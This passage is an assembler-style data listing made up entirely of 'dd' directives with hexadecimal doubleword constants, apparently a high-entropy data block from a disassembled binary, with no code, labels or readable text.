0E9DD0071h, 181A1C20h, 0CD002DB8h, 5C2EA66Fh, 5546A68h dd 93A4953Ch, 131380E7h, 0ECB9A344h, 3A5BEF00h, 3CD4C2FEh dd 2A2D1E2Fh, 0B00878B8h, 85636701h, 33D95B19h, 5D03F02Dh dd 261B181Eh, 94EE00C4h, 12C4616h, 2738D070h, 7073FC19h dd 1CE04360h, 5C74A8A8h, 0C700BBECh, 57AE33E5h, 0E29EEEh dd 0C81DD5F7h, 51953B87h, 2D042898h, 2662B1DDh, 6DA97880h dd 29C70725h, 8E569E0Eh, 212A72C3h, 0D519C6B0h, 0D950ED50h dd 5AE0A4F2h, 13149F16h, 0FEA84090h, 0E4DD0045h, 43D06D80h dd 1900C568h, 0CD2C2257h, 0F45456AEh, 0DCAB2AA9h, 11D50094h dd 701DAFE3h, 0FA758E0Eh, 904B90B6h, 276A684h, 48D40E6Eh dd 6C529844h, 0E5577A02h, 0E13F3AC4h, 0E8FCF010h, 70A17417h dd 6731009Eh, 0B7480940h, 69686403h, 2700E779h, 0E8893E0Eh dd 87302C68h, 12283246h, 5E00D059h, 6B1AC235h, 319D0381h dd 5DB279E9h, 0ECA819A3h, 0F925A36Fh, 4E401098h, 54910006h dd 0D1770BE0h, 0CE01B65Fh, 0A51AAA08h, 0A8326221h, 408C2C2Ch dd 890D33EAh, 7A5A1F02h, 7DE286B5h, 913B41C0h, 779EB605h dd 0FCC1E9CDh, 7023C288h, 0CF646600h, 9AA743D2h, 0FE10B712h dd 0EC908600h, 0B1F5B1Ch, 0A1190EEEh, 0DB64010h, 2D268898h dd 4937625Ch, 21544859h, 0A9BB0F68h, 0AE806773h, 7B084C3h dd 6DEDB41Dh, 902DE489h, 0F4139D64h, 0DCE870h, 0EAE9535Bh dd 6BA1C75Ah, 28297500h, 0B0F3BBC4h, 61706E06h, 0DD55C0DCh dd 21096A04h, 8970A64Ch, 0A84C8484h, 0A994CCh, 0B63E963Fh dd 19FF4473h, 0C9E2E930h, 0F7E8B4h, 0A6081DEFh, 7FD9C913h dd 0FA004098h, 87C6158Ch, 13A2E358h, 0C8D169E7h, 7BE4E0B8h dd 0EE091AF4h, 531B45h, 0CBDE2288h, 7E4A40Bh, 25695E77h dd 4DE08F51h, 97450F03h, 1E01D52h, 83D5E24h, 0E8CCC020h dd 87EE049Fh, 0C02F2A95h, 0CE430229h, 812C564Ch, 0B7555D42h dd 0EFF03CE9h, 0EE08005Ah, 50AEE004h, 0C40FBE48h, 0C36C89CAh dd 0F0C85620h, 889CABh, 940A5B74h, 0B434A317h, 21BA4000h dd 2B59DEE3h, 0D75E2CD9h, 0C07080B4h, 1DF2A9EFh, 0CE780184h dd 1E0E13FDh, 0F4A1605Ch, 9FB51F00h, 38EB126Bh, 13A00033h dd 915BFCB2h, 373F100Dh, 4C4E83FDh, 0A8C4D9CDh, 14AFEA3Fh dd 0D476F5C6h dd 36272B04h, 136409D2h, 5FCCF848h, 0BF85008Fh, 950D06A5h dd 5007A79Ch, 76819771h, 0D17AADF2h, 8C560518h, 0BBADC41Dh dd 0D0E5DDC0h, 6E721EBEh, 5EF40EBh, 3AFF038Ah, 8077CC00h dd 6DAFAEC0h, 4ED70A7h, 79B813EFh, 38308807h, 0E20C907h dd 902BBF66h, 569FCD0h, 0B6C77792h, 9450C01Eh, 4807AA31h dd 49505A6Dh, 4C357250h, 96163895h, 58FB8887h, 0BDB74094h dd 0CC312E83h, 0A11EF150h, 1C270C7Dh, 1D811020h, 6900286Bh dd 4AC06658h, 95F44BBh, 0EC521871h, 0FE610049h, 0AF229890h dd 1289F000h, 42FBAB9Dh, 0DAB6011Ch, 0A5B473B7h, 85BD2101h dd 522769E8h, 22A3A482h, 4E20152Ch, 4C3989C7h, 19007A3Dh dd 0A9BD730Ch, 88008545h, 27133712h, 0BE0810h, 30C7B533h dd 0D526F7DBh, 2A362C18h, 360E9D9h, 5BE8818Dh, 908F0BD7h dd 0AFAB3F5Fh, 0EEC10F0Bh, 8C4004Fh, 0FEF86368h, 93D02E30h dd 0B10B00A8h, 0E40456AFh, 225C0F5Ch, 469E92Ch, 575C1Fh dd 938C70A2h, 5A79F799h, 2472DA13h, 0ABD5790Eh, 0A7C88ED0h dd 31407923h, 72AC37F5h, 0D41A00A9h, 9FC5C268h, 123F8AF0h dd 0FA2D042Eh, 0F880E85Ah, 0B859B390h, 48660EECh, 0D0520B07h dd 0A849C624h, 0B2417A00h, 83B079F5h, 6851127Ch, 1D6809DDh dd 8680BCC8h, 8D6D8528h, 155A5900h, 4B79D8DFh, 88B961h dd 52B30BA2h, 1400D43Ah, 5FCF92ACh, 13CEAEFDh, 0B8385116h dd 644800D0h, 8A4B1940h, 0B3C9001Dh, 57BC32BBh, 0DCB11AD8h dd 3D44CD00h, 0B36D7CFh, 0EF19B363h, 1294B810h, 92B85378h dd 0E790D080h, 0D9AF3Ah, 0B5B00ECDh, 37C0627h, 0DFAE9E2Fh dd 0C0BCBE23h, 0A47661Ch, 6B803454h, 6F513600h, 0A31D0250h dd 95E67372h, 0F1387010h, 0F4150100h, 82596FCCh, 0D6DB04C4h dd 0A40B6989h, 9F3E60A0h, 958D93D2h, 4C31B089h, 24ED152Fh dd 0BF015400h, 5A2ADDB5h, 0DE69A90Eh, 47807F6Eh, 0A019B688h dd 1379C903h, 8C00305Ah, 0CE500D31h, 0E5EFF37h, 0C1A0AAD6h dd 0C4E8C05Fh, 1246A830h, 37FD83Eh, 781F1834h, 0D5D1C032h dd 0A4423FF6h, 7588884Ah, 0B3127200h, 831AF8ECh, 45A54E5Eh dd 0B4882140h, 0AB09EB0Ch, 17F51B2h, 801B1D3Ch, 7376C980h dd 55BBE469h, 0AA14DCECh, 305466h, 918685CEh, 0C76EFDh dd 3CDEB19Dh, 5C446888h, 80FB012Fh, 4C9180D0h, 608905A8h dd 80595E6Ch, 36BA4938h, 13E63898h, 0D290F009h, 88490888h dd 0C86F2141h, 1FA20h, 491D69D1h, 4A06A845h, 0B40B1078h dd 0A81CED48h, 0FDC0C0E0h, 5C7A4BEFh, 363C6816h, 0F843D504h dd 3178C0C3h, 0C10262C7h, 268B8F87h, 547A1Bh, 4DDF9467h dd 3FF75C51h, 27495E00h, 55EE2089h, 83D40FFAh, 31582C7Fh dd 510E3129h, 0A025EA40h, 809712CDh, 7589AC5h, 2E3D1178h dd 8C4E45D9h, 0AD00B89Ch, 8F4ECDAh, 18E79F1h, 7FC1F819h dd 4764E58Fh, 9E1F73B1h, 71614800h, 0D96E5B1Bh, 0C27413ACh dd 36B4C18Dh, 9AA02423h, 3DA5E600h, 184D404Eh, 0A8B918D9h dd 6D4B40E2h, 2E072013h, 6C8C0421h, 0E6F6E0h, 0B7356281h dd 21A73258h, 0D1E4C504h, 0E1808B98h, 9DA8ECh, 0EEDBCEF4h dd 0E7C7AD90h, 11614D00h, 77F84BF7h, 91963881h, 501ABA01h dd 8014518Ch, 9487F039h, 0ABFB9Eh, 0A342F802h, 0F624DCD6h dd 0F2485303h, 0BB30C5DDh, 2B3001FFh, 0AA078BE4h, 5D22FCD7h dd 6B447B00h, 0E819594Ah, 6A58C02Ah, 0BFF031DEh, 0DC789600h dd 0C5369C1Dh, 0FFCC0A0Bh, 1EC7A47Eh, 0EC2BC09Eh, 8DCB45E8h dd 87AB8200h, 7F442C51h, 78A00B7h, 0CD010B38h, 8CFF61A7h dd 39215980h, 0C71B00A8h, 38F0D242h, 523311C1h, 0F0C8D90Fh dd 128C68h, 3DA48115h, 515B3F29h, 930A85E8h, 409801C8h dd 0A31E1F00h, 0D68E3Ch, 158A0A6Ch, 0A613415Ch, 0FE1413B8h dd 7580360h, 0E9BD51E1h, 31802A36h, 52919D85h, 5C818010h dd 0F560D4C5h, 61AD7C70h, 0AEB71913h, 0CC16FDA7h, 120053C0h dd 8F8C6A06h, 608BB23h, 0B7F4054Bh, 0CF2314Ah, 0D800A271h dd 4C674EC1h, 0F72C56h, 0B4815F77h, 0B09A769Ch, 72EF8420h dd 82740039h, 6A7ED06Dh, 8E50C542h, 0F80092D8h, 457B5E8Dh dd 7568ECh, 0F035308Ah, 0F4D4BF9Bh, 0E8212628h, 31070C00h dd 8841DFB5h, 367A0023h, 57EA42CAh, 0B9E89BA2h, 0F6F80650h dd 0E70BF9C3h, 4652D9B2h, 5B10B980h, 75C740B1h, 4170F5F4h dd 82042000h, 4535E16Fh, 0A89D55B5h, 1C44C2h, 6640D11Ah dd 0ED7B5C4Fh, 1940839h, 0DDABA27Ah, 20E8CB4Dh, 0AF910AD4h dd 6FF8CCE1h, 0C4978540h, 7303F960h, 0A178FE6Ah, 9A9FC82Dh dd 304471B7h, 0BFB19B2Fh, 1A3559D7h, 70047924h, 5607AB3Ch dd 7D4D40EAh, 27615FE3h, 0F280B020h, 7D567D0h, 7E2D26D9h dd 28551091h, 11009F66h, 14752A50h, 28B5CFFh, 91FCCD6Ah dd 0D440C3EBh, 254CC07h, 0AA004728h, 0A580A24Fh, 863D4Dh dd 0B1FBFE97h, 5A555D0Fh, 91624630h, 300972ECh, 0EF114F32h dd 0CF00C3D8h, 0BFC594B6h, 93B167Ch, 0D4AD3815h, 82261003h dd 55A1B3C9h, 20000B0h, 0A8A2DF8Fh, 424F0101h, 25E436C0h dd 370F8050h, 3A8C01F9h, 6A9A5727h, 61282482h, 0B7DBC913h dd 0FC6B3420h, 0E2850AD9h, 0CA6C66h, 0B8FB0292h, 0A4078958h dd 0EFEA59FEh, 3EB14A26h, 0B1008428h, 881CF44Dh, 69549A40h dd 46289D84h, 0E551747Fh, 7CB5E448h, 0B696D702h, 13B29A63h dd 18DF19E8h, 0A001C918h, 0CA2E1h, 0B8EAF705h, 974D9ABh dd 5698CA06h, 691144h, 0CED0A055h, 0E6B168EAh, 78AF7900h dd 0B0702E28h, 0B8EC001Eh, 1438E10Eh, 3483073h, 8B728008h dd 759BC70Ah, 66DD092Ch, 0E810B693h, 5907A7DBh, 0E4315B0Fh dd 0C8C12Ch, 3681CFB9h, 0DBBBEBAEh, 2C0DBD00h, 1A0A9BAAh dd 302F3035h, 0DD114F61h, 4485FA00h, 0D64E5D39h, 77778F2h dd 1AE5C284h, 83FB7117h, 0C2B6E9ECh, 96009C44h, 1E550759h dd 0F7430AEh, 42B605A1h, 0E581E980h, 3C03B38Fh, 2F38A804h dd 5F713848h, 0EF06A487h, 4D97E044h, 0F9074F6Ch, 0A5BF1F65h dd 0C8400505h, 9BCED662h, 0B22D00AFh, 352E5F3Fh, 500085F4h dd 0E283A73Ch, 0D426593Eh, 3500A491h, 0AE69EABFh, 0B026823h dd 0C51DB8AAh, 1C904027h, 2C6F00E6h, 44329152h, 7B0561F5h dd 7F9DCE4h, 0CBE66C00h, 0FE7D448h, 2FC8E6Eh, 1166A5E7h dd 0C75599B4h, 7830DBA0h, 0F6382400h, 0B5483C59h, 39B72AA9h dd 0E79B0CCh, 22379992h, 9A2FB240h, 0AF090523h, 75B093CEh dd 810BD89h, 51FA0C17h, 4A7CB26h, 3B0EF868h, 9296C01Dh dd 16AF0AC9h, 4AA5CF8h, 0CCB5AC93h, 0E33B9878h, 0B08F00E1h dd 813B7292h, 534314F3h, 42006C06h, 0B0E3EBB1h, 9398C08h dd 232E8528h, 0D3C0D357h, 0C0374550h, 0B5CA1C51h, 0BF0043B8h dd 0BB21C41Dh, 31FEE34h, 453C6D72h, 59189C6Ch, 0D3C99EE5h dd 6DB8008Bh, 38DD9BB7h, 4307FE33h, 1A5FBF9h, 7F1531ACh dd 63BF3F7Dh, 52D0B401h, 0C09DF2E3h, 5912FBDFh, 6442E985h dd 0A05B3214h, 7E4D4288h, 445900E5h, 0D6438572h, 967F7A71h dd 2612D15Ch, 3D40A8E3h, 28B2A1F6h, 889E45h, 11C83F65h dd 0CB5EFB14h, 24C46438h, 0C58034A9h, 97B9365Bh, 6F600DDh dd 0C4AE7D62h, 0B0A4B71Eh, 3BBEC900h, 266321F0h, 0E67400DBh dd 0CF94966Ch, 4C90CD0Eh, 13505B48h, 0B80B90FAh, 158003D6h dd 0C5CDEB7Fh, 0B08C20C8h dd 0D3FA079Ch, 0ACA0A88h, 0C63F408Ch, 0A0008011h, 0D9A6623Ah dd 0F4FFB333h, 9D84008Eh, 77E96A81h, 89289B52h, 85001CD5h dd 797BD962h, 0CF6CA4h, 45D06591h, 0F5BBCC66h, 9F303607h dd 0BD45A338h, 448464CCh, 0C7033D9Bh, 33C30E79h, 0A42085E6h dd 0E07FCAh, 0DE965D16h, 59CD1808h, 80BC2C58h, 0B1497143h dd 0A05C3ECAh, 0CB215B01h, 4CC7D644h, 0AA38E2B0h, 5A358093h dd 6A78409Ch, 7F03A96h, 0D5414703h, 161F9285h, 9C28CC0Ah dd 97939F8h, 9352E802h, 0E8042369h, 3DD1B8FCh, 0FC805445h dd 7396C8A1h, 0DB363AEDh, 54071B0h, 30BA8021h, 277848C5h dd 0EA35AD40h, 6031C0A4h, 0A088962Eh, 445C5901h, 16139199h dd 1529DC70h, 883E303Ch, 40495212h, 2C466708h, 87007E57h dd 0DF3AF350h, 5886E609h, 120313C9h, 8F309159h, 2B1230D6h dd 6808737Ch, 0FB538051h, 8B4E58Eh, 27EDCD00h, 0C822A393h dd 0C209043h, 28B29BD0h, 58A83471h, 0A6006480h, 0E840E067h dd 0F0709Fh, 8FD4DABBh, 512ACDC7h, 0E0394C6Fh, 86295A37h dd 84B2017Fh, 52F08382h, 0F5218012h, 0D928983Fh, 445D266Eh dd 0EB5F005Ch, 4749F150h, 72D0EF01h, 0A7E04814h, 0A39B818Bh dd 0B5466C10h, 4C38D1DFh, 0AA0F8004h, 7F247C4Bh, 0A136049Fh dd 0C17F2520h, 82890CD0h, 0D9E4A7E0h, 0C1C8002Ah, 0F11E69B0h dd 90C13BD6h, 953148C9h, 5950E347h, 949235h, 88F1BFFAh dd 31E3AA09h, 713C5876h, 81A5A685h, 8F51DA18h, 0BF740779h dd 4F87DFADh, 838B67A0h, 0D9021BBAh, 0D743A216h, 17444E5h dd 4178DCB7h, 0C83DB5C3h, 3585CC9h, 7DF180F0h, 17BC3AD3h dd 1776B86Ch, 2785320h, 1A51DC20h, 3BF93CE0h, 8D9C926h dd 98E3190Eh, 0B06161h, 8F65820Bh, 6B2ED2FEh, 0C55CE800h dd 0F68B8AD3h, 0A4C8523Bh, 0A8A18D00h, 0BBFBB31Ah, 0C0949B5Ch dd 0F51D9958h, 74FA0724h, 3502EEF7h, 0AB98CC9Bh, 0FBE1E517h dd 81A6B40Fh, 97E340D7h, 9CE4CC50h, 0B49B1619h, 415A0EBCh dd 0D5DCDDh, 0AF369A8Dh, 8E09FE7h, 3EACC3Dh, 2F590DA4h dd 23814AD8h, 27904624h, 0D51F28E6h, 0F6CF4143h, 2F79A0B1h dd 707E9036h, 0E8BB0034h, 43202C71h, 0B72C9BE5h, 7361B42Bh dd 9FC716A0h, 94108D97h, 7F16346h, 1F3EB76Ah, 0F7008B07h dd 7B60C240h, 0C800E0ECh, 0A9982B99h, 12F8D779h, 911A42A5h dd 0EA0430E0h, 0C800B84Ah, 1C10FCE7h, 0A8B02CF8h, 3357A91Dh dd 0A8AA4F80h, 0E7ADBCFh, 99B3818Eh, 6D4690F8h, 0C00C2DEDh dd 0FDDEF9F5h, 7C47F25h, 0B2B1A08Ch, 352FF21Bh, 796DCA7h dd 691610B8h, 328D4FBh, 0BB24A4D2h, 39408CE4h, 129D5E5h dd 35CE4F23h, 0DCB3F3D4h, 3485EABh, 0F54B80F0h, 0DD093Dh dd 0C9C024ADh, 8BF75FFDh, 0E8F8692Bh, 39054303h, 18DAC0A2h dd 5D2200B8h, 0CA1342C9h, 43032C76h, 0CB411A9Eh, 33E4C198h dd 0EA14D185h, 0E549C3A6h, 0D68619E8h, 92957F39h, 0F420E85Ch dd 0B80406h, 6A44387Dh, 0FF94954Dh, 0B3D39A00h, 0A25E120Dh dd 0F7772CDBh, 0BCE71570h, 0CC94CA1Dh, 7F11FBC0h, 686E0D0Eh dd 0BD2F6415h, 315924B4h, 0BC9F528h, 0CC3BC83Ch, 8780C85Ch dd 29D0D197h, 9466E416h, 0F55100D8h, 0B8CA39DAh, 0F24B400h dd 31A288AFh, 5FB30035h, 9A8A80F1h, 0CE05F8A3h, 0AD065C95h dd 0C9457BC1h, 9103CCC8h, 90D41310h, 53CA60C0h, 80133Dh dd 0DAF1880Dh, 2D561238h, 46E2C374h, 70008CC4h, 5AE55D0Eh dd 77558B6h, 92D4536Ah, 0A47EA085h, 0B077FE1h, 5D361A7h dd 5806D0F0h, 0A0727419h, 0FF8CD38h, 5D8B64ACh, 71136C20h dd 81F5C9Eh, 2C4EE37Ah, 1DB6009Ah, 4CEAF1Bh, 0BE426AE1h dd 1FCA294h, 495FD5C7h, 8E40F04Ah, 381A12FFh, 424FB1F8h dd 0B9882A14h, 3A20DCE0h, 0AFEC903h, 0C0B17F42h, 295FECA4h dd 0DCC52Eh, 4813748Fh, 5230DAC1h, 5429693Eh, 0A95607B3h dd 70A5EA12h, 241DC40Bh, 522C7D00h, 340F44F7h, 0B1B91660h dd 354089Ch, 0AD906B80h, 18DFF08Ch, 19B101ABh, 0EF1C0FFEh dd 3B83C917h, 48BF9A29h, 3D2CAC80h, 208B592Ch, 8C9433ECh dd 3E19F240h, 0E4B7599Ah, 7549409Fh, 7EC35D7Fh, 1531BD00h dd 0AE9A8E77h, 3A59C02Bh, 0B99C6BF8h, 0EB2C9B00h, 8C26F3F4h dd 0B7B055Eh, 0C8019FB5h, 5800255Ch, 1298B039h, 105C9D3h dd 21D7F49Ch, 0EC8FE708h, 0B90061A0h, 632B60F5h, 6F4B775h dd 0EC21269Ah, 1F00B143h, 0C5BBBE1h, 1D92159Bh, 0FA859CD6h dd 611C00FEh, 877B4C8Bh, 590062A7h, 0AED458C2h, 12BFE91Eh dd 30FA0130h, 0F1A1FDA4h, 20520227h, 4C67C288h, 0B5800282h dd 0C930FB27h, 0D0EEA269h, 40003807h, 8BE242FCh, 48017713h dd 85004818h, 64C8EA51h, 48F0D9ABh, 0F9C0ADE6h, 0D099ED82h dd 0DE8C042Dh, 80250DD3h, 16B095A0h, 30FEC832h, 7F072E7h dd 84BA892Dh, 36392C5h, 6D12F064h, 0F400DA27h, 0B8B3A487h dd 3ECD8h, 17EA893Dh, 14181C6Eh, 0D1E32B00h, 5AF82C9Ah dd 0BCE44C94h, 3470409Fh, 0BFBD11EFh, 8F5F5407h, 0EAD2261Ch dd 9441203Ch, 30E09784h, 83A30C3Bh, 8152AF5Ch, 6160CA65h dd 9C22B79Fh, 61AEF601h, 634145A0h, 5F592CD0h, 0CA106600h dd 55518Eh, 0BE28C90Ah, 98B3A22h, 0F90540B4h, 50409FA5h dd 0EDF6791h, 66F2411h, 0AC1D4070h, 0D609B331h, 9207E3A4h dd 28E000A8h, 7427429h, 0FC68780Ch, 0BDD21044h, 0D1CE67EBh dd 7FCE4004h, 0F8A24AE4h, 410260EAh, 0BAB7106Ah, 50705200h dd 0CA347377h, 1D9A1999h, 4061E129h, 322FCED4h, 0BE6951C0h dd 0D191F3h, 0FB780A90h, 63B61670h, 0D4B57E00h, 2E6A8C29h dd 0B2310993h, 0E010067Dh, 6F3FF488h, 0E2BD0222h, 911B9BD7h dd 642933A4h, 0C1F6CC02h, 4C04D78h, 8588F9CBh, 98F4BA93h dd 0E7C82208h, 0B1EDB50Bh, 95D000E0h, 0AE8FD05h, 0E45577A9h dd 0D53A40C8h, 0EA00B7A2h, 0A586C018h, 13CFF71Eh, 99516A3h dd 180BD418h, 3DD5F500h, 0B307CBA0h, 5FF4A75Eh, 88C8B1D5h dd 0A9C90246h, 9FDB45CFh, 34805872h, 91008D26h, 0E0E10110h dd 2489609h, 0CD971BFBh, 0B4C4E4F5h, 0CA99840Eh, 65053781h dd 48C02C2Dh, 72F80FDh, 18B63671h, 0E9F14056h, 51208B0Bh dd 849D010Fh, 0DFBE7414h, 7F047350h, 888E0A00h, 0F806095Fh dd 0AE7200E0h, 173814D9h, 680C012Fh, 0A9EBE39Bh, 0F44B13FAh dd 0C1E40137h, 2233A1AAh, 0DC810018h, 5C3BB15Ah, 7FF00066h dd 3AA227DDh, 4678A158h, 5AE8AF54h, 71C73B01h, 0B663B481h dd 2180C028h, 11177482h, 0FA249500h, 0A6DBE373h, 58F10006h dd 4AC1AFD1h, 3A00873Bh, 8CE225A1h, 0B2612F47h, 310D2CCCh dd 5F240ECh, 903D715h, 0C06DC129h, 0A798B0A8h, 0ED33D27h dd 20A7583h, 0AFE0897Bh, 0BBF0FC78h, 80740148h, 4B548B81h dd 5D200ED5h, 0CB0448FBh, 326081EAh, 0AE69BA5Eh, 9E00372Eh dd 0EE1904D4h, 1DEA0273h, 76759A38h, 0B212D052h, 430023D7h dd 4D68B679h, 401CBC30h, 0F744E8AAh, 281FCA02h, 710364A9h dd 240A005Ch, 0E84280CDh, 0C31DF607h, 4059D101h, 0CE832E8Ch dd 0F8354549h, 2528047Fh, 0EEA2B00Eh, 0D51DD4C5h, 9AEAD844h dd 65ED4090h, 0CC970057h, 9084FCFFh, 8E48F16Eh, 0DF40702h dd 0F810598Ch, 474B458h, 6062F2B5h, 0C4CC8803h, 0BF0E21EEh dd 407051D9h, 62409726h, 7F310411h, 0B45213FBh, 27715AD0h dd 99BA7000h, 373F7C44h dd 0F24E01FEh, 321CFBB5h, 0C5A85036h, 10008361h, 0FE6A8ABBh dd 0B622340Dh, 52A8033Ch, 9E07E04h, 0C001B5Fh, 8EB7B5Bh dd 0BE9BED15h, 4E6C40E8h, 380211A4h, 5E3BAC53h, 0B79E43B9h dd 0C0F4EF2Fh, 23C9EB1h, 0CD6187Eh, 0A2EFC07Bh, 801C0158h dd 6A46E205h, 8BE000A0h, 7CC5BB32h, 0A1005F73h, 2F68428Dh dd 740835h, 81843DA4h, 8A5A7940h, 894B5130h, 1696A8Bh dd 3C26E095h, 7D298909h, 0DEC86038h, 0FC0BB999h, 1CD89E6Ch dd 4CD0B3Ah, 0D09B818h, 22C88E2h, 0D50450A4h, 0D8F2A925h dd 7A0A2000h, 0AA6C67B6h, 0BAA60100h, 374B1181h, 40D55A7Bh dd 326D4390h, 4600A23Fh, 4F2E628Dh, 0C8F040h, 66CDF824h dd 8138C754h, 7DD8A409h, 0A0B0C49Ah, 5EA0F2CEh, 49280813h dd 0BA0EDC80h, 36C4B47h, 59FC8F0Ch, 4DA8AAD2h, 0EC92C919h dd 0E3244550h, 3EF6BD00h, 0DEC40F48h, 0B7F70005h, 0EF4DC139h dd 0DCB9D8FCh, 1006EA4h, 0BE3CFB95h, 208E070h, 0B89FE9AAh dd 0C0680DBFh, 0D3652B59h, 28E23D69h, 42B7B600h, 0E190470Dh dd 581A2C00h, 0BC64F3EDh, 78BD01C2h, 0CEC892ACh, 0C3A470DBh dd 310A1016h, 0C265821h, 0F24EEFD0h, 5112006Bh, 0C1456698h dd 3017A405h, 64D0E4A6h, 0E65A28BCh, 86D50041h, 9D75F0D2h dd 778D668h, 6103DE09h, 4D4A809Bh, 0DFD7456Ch, 0D8003BDCh dd 86BCEA71h, 9CBCE37Ch, 81E41780h, 66B4CCh, 0D24FDBBFh dd 1CB79B1Eh, 44759813h, 0E181ACD5h, 7BFC912Fh, 0EBBE2E14h dd 0AF7640F8h, 5A005B2Ch, 8749B71Bh, 7366E1C1h, 278F004Fh dd 0E4CBF55Fh, 0F8072677h, 7B2A7D36h, 20827035h, 0F8B843B5h dd 1267402h, 0DABFAF5Bh, 893D3209h, 80B39261h, 534952Ah dd 0C12600D9h, 78A7B0E8h, 1400523Dh, 0C9480B25h, 0EA907F2h dd 0CD6A24DDh, 0C7D1B0A0h, 1904FA78h, 45B6827Dh, 0FEC0DC89h dd 9A8A015Dh, 0CD3B7889h, 3281D0EDh, 4DF83E00h, 1A8BF9EEh dd 1401489Ch, 5FFCEBC0h, 4E2E88D0h, 504080E8h, 264AB86Bh dd 8420147Dh, 0E06656F1h, 0C9C94414h, 31B0E807h, 0ED100067h dd 0B8478A2Ah, 7B000ED5h, 0C2B40488h, 91D1142Eh, 0F8638030h dd 0CC82CD25h, 0F4579100h, 38D064BDh, 0F9600218h, 0EABA34B0h dd 6002844h, 844152B7h, 65152Fh, 54882E97h, 0F3EE76Ch dd 8C9CD770h, 0A60C0B80h, 0EB7F50EBh, 6071ECh, 0B19E8C19h dd 321642CEh, 0C380F89Ch, 5F61BFF9h, 24CF02F0h, 0AACDFA4Dh dd 0C8A8F8D2h, 220BFCFDh, 0E8D423A2h, 4F26Ch, 4F1A7354h dd 0AE319DFh, 5682421Dh, 1ED33802h, 0EB28C452h, 0B4A4D0h dd 9488265Bh, 28434661h, 0A92D8890h, 5928903Dh, 0A6800F2h dd 8F806946h, 4F3E2C8Bh, 0C7ED851Fh, 4003E862h, 883CD425h dd 254EAD21h, 10629484h, 8D16FC40h, 0C393CF02h, 90EA1A42h dd 4854018Ch, 3022D4FEh, 331E6DECh, 2840447Dh, 0A0B542E6h dd 0EC5000C3h, 170F0C11h, 4D255DF7h, 3FCCC421h, 0FC7216h dd 0F35B9F49h, 0A48B77CBh, 0C3ACDD4Ch, 8830BE4Bh, 3EBE50Fh dd 0B4710899h, 8AC865B2h, 130D8C76h, 312D42C9h, 0A7CCA08Fh dd 0D8C8518Bh, 0E2A09228h, 98F44A27h, 22301403h, 83A064A7h dd 31CEC840h, 71CA1718h, 1AA4C88Bh, 7DA4E100h, 3B9125D4h dd 0D2120E44h, 82A53695h, 0AA8820E6h, 14006C3Ah, 6A8199CAh dd 972C9021h, 80D4C013h, 2D5912B1h, 7ACFF300h, 6EC3D370h dd 47E45B9Bh, 702FDE54h, 6BFE828Ch, 8F257F0Eh, 8E14803Eh dd 2EB11E9Dh, 404807D1h, 9E748AB9h, 4A6B6E00h, 0FF5248Dh dd 0B7DE1866h, 0B3057921h, 0F1716A00h, 0FB124A7Ah, 96781EC3h dd 983882BBh, 6F43CE9Eh, 0F3EE8091h, 3E369BE8h, 0BC88A14Ah dd 61273ACDh, 0EEEF79FAh, 0ED2E0460h, 0F46A9AA9h, 20953084h dd 0D7584DE8h, 0A08D0188h, 2EFE3A49h, 0A99820B1h, 3115B730h dd 8FD52Dh, 0F40D8DF2h, 0B63ECFDBh, 175AE059h, 0EC2030AFh dd 0DA72BEh, 0CA70BD3Bh, 9890F28Dh, 2C691C00h, 3F6809EBh dd 0DB4518DCh, 0A47EB1AEh, 269ACE01h, 0FDAC31FAh, 0E0F8BBF7h dd 946F6C42h, 0B37640A4h, 7316B1E7h, 0F8049A3Fh, 5641E6A7h dd 32ED8C26h, 0F9FC1F1Ch, 8F214140h, 257C0Fh, 6D59C74h dd 4DD18280h, 0CCE322h, 0A98BAAEEh, 29586AD8h, 0D0824300h dd 1ACA6F3Fh, 0C8900107h, 263EEA9Bh, 0D3F4602Eh, 0AF82592Fh dd 8FE0E48h, 0BF5380B1h, 150E735Ah, 69B3AF03h, 0F07198CFh dd 0F838BBh, 0C95E9727h, 0E39A1AF6h, 7C52752Eh, 7BBA7F40h dd 0B80E0064h, 0CF31E426h, 58BCAF9Ah, 9C5493C0h, 2A5D0320h dd 3F351A67h, 16AF09F0h, 0CF237102h, 443042BFh, 0DA1D02B0h dd 4C699A90h, 40D0D22Fh, 6F6BB5h, 77D89576h, 0F02C5637h dd 4C1F73Ah, 84F16DA7h, 803D9FE1h, 0D7A91700h, 0D21F0F43h dd 1823C200h, 0A59FB6D3h, 26950046h, 0A747FD99h, 6486EA9h dd 90B3804Ch, 70BF8148h, 64563B21h, 87935E01h, 60ECC75Ah dd 821E3DD4h, 102D543Fh, 2C6A84h, 679A02E0h, 4EB7B5Dh dd 6498BE2Eh, 93884402h, 0E15840A1h, 127177B4h, 0B430A0C9h dd 550F443Ch, 406DCC88h, 99655A3Ah, 0E81E61E3h, 3060E7A9h dd 0BCF2D000h, 0C0D5222h, 530283A4h, 98A0F38Ah, 343D7AADh dd 0C25F87B4h, 8E31F44Dh, 4C39C83Bh, 20314470h, 0B733C107h dd 81002F3Ah, 0E9A41B79h, 9830D2C9h, 0BAED3030h, 0E49F0D10h dd 0CD393260h, 9647383h, 19D8EDBFh, 0BD5A0C30h, 5E803C00h dd 2F1790EFh, 9DEF22Bh, 97228598h, 38E8142Bh, 0FA026D6Fh dd 960CB927h, 0FC4444h, 5ECC8FE3h, 4099AB69h, 8EF8541Eh dd 350A2184h, 32BF2180h, 0A6CC0ED8h, 84009F8Ch, 0CEB4ED82h dd 0C918F21Ch, 86F19618h, 0A6401756h, 0C72A07D2h, 1F707D0h dd 3232D827h, 0CD730030h, 0E5603745h, 0D7E30046h, 9895D9B7h dd 0AF021756h, 4814F5CEh, 800056B4h, 2FB5B1E6h, 0DD58B8D0h dd 7B1F00C4h, 3B8CEA3Fh, 1AC446Dh, 88465Ch, 298413E4h dd 617C6h, 0F1D349BEh, 9230726Eh, 0A3071099h, 5B94A1EFh dd 0E1B92147h, 0F0D95C0Fh, 99001696h, 93CEDC72h, 27FD5AEh dd 6C1E611Fh, 0B459170Ah, 0C4741D0Eh, 30F29243h, 0F5473400h dd 449ED876h, 0E71F09E8h, 6D016217h, 481820C0h, 9D0D2DEh dd 3608C27h, 0B3D298C8h, 7E57DD00h, 0ED637222h, 0BBF40579h dd 14181B5Ch, 22718B4h, 0E8DBB091h, 9300770Fh, 0CCC67432h dd 350D728h, 0D41B1AAEh, 9AE0E012h, 610CF8B3h, 0C23C7794h dd 7B66027Ah, 7C0C2B0Eh, 0FFB37E0h, 6AF0800h, 4C25F68Fh dd 0D8F47Fh, 2FA0E55Dh, 18E60135h, 0CEB51216h, 252BD440h dd 48790B0h, 3B32E504h, 80F4B809h, 0A394E62Eh, 100B1CE7h dd 0CA3500EDh, 